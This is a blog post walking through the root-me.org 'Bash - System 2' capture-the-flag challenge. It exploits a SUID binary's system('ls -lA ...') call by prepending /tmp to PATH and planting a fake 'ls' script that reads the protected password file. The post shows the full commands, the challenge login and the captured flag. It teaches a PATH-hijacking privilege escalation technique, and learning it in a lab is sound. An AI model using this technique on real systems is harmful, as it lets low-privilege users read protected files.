Cecil Daemon

cecil@celestial:/bash-system-2-root-me $


Bash - System 2 - root-me.org

Estimated read time: 7 minutes

Introduction

Since we just solved Bash - System 1 (you can check it out here), let’s go and solve their second level as well. This challenge is very similar to the last one, but with a twist.

Challenge description

The ‘Statement’ for this challenge is the following C code:

    #include <stdlib.h>
    #include <stdio.h>
    #include <unistd.h>
    #include <sys/types.h>
     
    int main(){
        setreuid(geteuid(), geteuid());
        system("ls -lA /challenge/app-script/ch12/.passwd");
        return 0;
    }

To connect to the room, we can SSH:

ssh -p 2222 app-script-ch12@challenge02.root-me.org

with the password app-script-ch12.

Approach mindset

Let’s start building up some calluses again by developing our approach mindset step-by-step. For this problem, we have already tackled the basic concepts in our previous Capture The Flag (CTF) challenge.

Step 1 - Understanding basic concepts

If you are not familiar with the functions setreuid and system, go check it out in my last CTF solution for Bash - System 1, which we discussed them thoroughly here.

Step 2 - Understanding the problem

We can see that this challenge is fairly similar to Bash - System 1 challenge. However, we have something new here. In the previous CTF, we saw that the system line was simply a ls command. In this level, the complexity increases with the addition of a switch to ls command, as seen in the following line of code:

system("ls -lA /challenge/app-script/ch12/.passwd");

Note that we have the -lA switch passed as argument to the ls command. Let’s SSH into the machine and take a look around:

app-script-ch12@challenge02:~$ ls -la
total 32
dr-xr-x---  2 app-script-ch12-cracked app-script-ch12         4096 Dec 10  2021 .
drwxr-xr-x 25 root                    root                    4096 Sep  5 14:00 ..
-r--------  1 root                    root                     640 Dec 10  2021 ._perms
-rw-r-----  1 root                    root                      43 Dec 10  2021 .git
-r--r-----  1 app-script-ch12-cracked app-script-ch12-cracked   14 Dec 10  2021 .passwd
-rwsr-x---  1 app-script-ch12-cracked app-script-ch12         7252 Dec 10  2021 ch12
-r--r-----  1 app-script-ch12         app-script-ch12          204 Dec 10  2021 ch12.c

As we can see, we need to find a way to cat the .passwd file through the ch12 binary, which is the compiled version of ch12.c. The problem is exactly the same as the previous one in Bash - System 1. The ch12 SUID bit is set, meaning the system function, alongside with the setreuid, will make sure the script runs the command as app-script-ch12-cracked, granting the right permissions we need to read .passwd.

We could think of a way to trick the program into thinking it ran the ls command, but actully runs the cat command. However, the switch -lA will make this unbearable. The thing is that the cat command does not have these two switches used here.

Well, we already know how to make the program runs a crafted ls command. We just need to find a way to make it ignore the switch. That’s our goal!

Step 3 - Crafting the attack

We shall start solving this challenge by doing exactly what we have done in Bash - System 1:

  1. First, we go to the /tmp directory and make a new directory. Then, cd into it:
app-script-ch12@challenge02:~$ mkdir /tmp/cecil
app-script-ch12@challenge02:~$ cd /tmp/cecil
app-script-ch12@challenge02:/tmp/cecil$ 
  1. Now, we export this path to our $PATH variable with the following command:
app-script-ch12@challenge02:/tmp/cecil$ export PATH=/tmp/cecil:$PATH
app-script-ch12@challenge02:/tmp/cecil$ echo $PATH
/tmp/cecil:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/opt/tools/checksec/

This part is already done. The new $PATH variable includes our new path as first, meaning that any script will prioritize it when looking for commands to run. Now it comes the tricky part.

To make a point, let’s try to solve this (erroneously) with the same approach used in Bash - System 1. We copied the /bin/cat binary into /tmp/cecil with the name of ls. After that, we run the ch12 binary to read the contents of .passwd:

app-script-ch12@challenge02:/tmp/cecil$ cp /bin/cat ls
app-script-ch12@challenge02:/tmp/cecil$ cd -
/challenge/app-script/ch12
app-script-ch12@challenge02:~$ ./ch12
ls: invalid option -- 'l'
Try 'ls --help' for more information.

As we can see, this does not work, and the reason is exactly because of the switch -lA. It would have worked if we did not have these switches.

Abusing chmod command

One way I thought to circumvent this is by writing a bash script named ls that contained a command to read .passwd. But to do so, we need access to chmod. We can test this in our /tmp/cecil directory by creating a bash script called test and making it an executable with chmod +x test. For our test script, we wrote it with vim:

#!/bin/bash
echo "hi mom"

Followed by:

app-script-ch12@challenge02:/tmp/cecil$ chmod +x test
app-script-ch12@challenge02:/tmp/cecil$ ./test
hi mom

As we can see, we can use chmod to create bash executable scripts. Since we are inside a directory included in the path variable, we could craft an ls bash script with a cat command inside of it:

#!/bin/bash
cat

and then:

app-script-ch12@challenge02:/tmp/cecil$ chmod +x ls

Step 4 - Solving!

Ok. We have a bash script that mimics the cat command disguised as ls. Let’s try it out.

Attempt 1

If we try to run the ch12 binary under these circumstances, this is what happens:

app-script-ch12@challenge02:~$ ./ch12

Nothing. Why?! Here’s what is happening: the ./ch12 is looking for the binary called ls, which in this case is a bash script that runs an empty cat command. But what happens with the rest of the string in the system function, you ask? Well, they are treated as command line arguments to our bash script!

To test this hypothesis, let’s change our ls bash script to the following:

#!/bin/bash
echo "False command: $0"
echo "Arguments: $@"

Now, when our ls command runs, it will print out its path and the arguments passed after it. If our hypothesis is correct, when we run ch12 now, it should print the rest of the string as the arguments:

app-script-ch12@challenge02:~$ ./ch12
False command: /tmp/cecil/ls
Arguments: -lA /challenge/app-script/ch12/.passwd

Amazing! It is in the mistakes that we craft a solution!

Attempt 2

Since we got rid of the -lA flag by making it to be passed as arguments of our fake ls script, we can change the ls bash script to simply cat /challenge/app-script/ch12/.passwd:

#!/bin/bash
cat /challenge/app-script/ch12/.passwd

Now, we run the ch12 binary again:

app-script-ch12@challenge02:~$ ./ch12
8a95eDS/*e_T#

And we get the flag!

Conclusion

In this CTF, we dove into another layer of system complexities and the exploitation of C functions. We began by dissecting the core elements presented by the challenge script, progressing towards identifying potential exploitation avenues.

The strategy was built around the concept of command substitution, made possible by the writable /tmp directory and by manipulating the $PATH variable. This allowed us to craft a substitute ls command that redirected the execution flow from the intended ls -lA command to our bash script. By creating a bash script, the ls command was treated as a executable and the rest of the string as arguments, eliminating the -lA switch.

This was all possible due to the fact we had already tackled a similar problem, and because we tried a failed attempt first. Remember, it is in the failures that we find the solution!

Thanks for sticking ‘til the end. I hope you learned something new today! And remember, always do your research!

Go back